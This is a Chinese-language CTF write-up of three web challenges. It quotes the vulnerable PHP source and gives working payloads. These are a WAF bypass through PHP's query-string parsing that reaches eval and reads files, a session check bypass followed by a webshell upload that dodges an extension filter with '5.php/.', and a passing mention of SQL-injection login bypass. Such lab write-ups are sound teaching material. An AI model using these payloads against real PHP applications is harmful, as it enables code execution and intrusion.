[RoarCTF 2019]Easy Calc
进入题目是一个计算器的功能
检查网页源码发现这样一个重要信息
这题有WAF计算功能是通过calc.php这里面的代码执行的,我们去访问一下得到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这边过滤了很多的东西,并且经过测试发现只能输入数字,那么我们该如何绕过这个隐藏的WAF?补充如下知识点
PHP字符串解析特性绕过WAF
输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)
现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
根据php这个特性我们构造payload,由于"" 和\ 被过滤那么我们使用asscii码值来绕过
?%20num=var_dump(scandir(chr(47)))
接下来我们把flag读出来就行
?%20num=var_dump(file_get_contents(chr(47).f1agg))
ics07
进入环境发现只有这个能点进去我们继续看
点击这个源码直接给了我们,源码内容如下
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
根据第一段代码我们先给page赋个值,然后将flag.php包含进去,payload如下
?page=flag.php
然后我们来分析第二段代码
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
利用点就在上面这串代码中,这里先把文件名拼接到backup目录下,然后正则匹配,这里正则的意思是:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。但是如果要利用这段代码session[‘admin’]必须为true
然后我们看一下第三段代码
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
通过这段代码发现只需要result有值我们就可以上传文件了,一开始我的思路是通过sql注入完成但是失败了,这时候我们看一下sql查询的条件
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')
首先需要传一个id的值并且将id转换为浮点数不全等于1并且最后一位数字是9
这里的绕过方法就比较简单了使用如下payload便可以轻松绕过
?id=1(9
然后通过POST方式写入con和file,一个为文件内容一个为文件路径,又因为有正则匹配的过滤,我们将文件名取名为5.php/.,又因为这是Linux操作系统所以可以解析那么接下来我们上传文件即可
然后我们访问一下马注意路径为**/uploaded/backup/5.php**
发现flag
[极客大挑战 2019]EasySQL
根据题目提示easysql很容易就想到这题是sql注入漏洞
进入环境是一个用户登录界面,既然题目提示了是sql注入那我先测试测试万能密码
成功登录,这边就考察的是sql的万能密码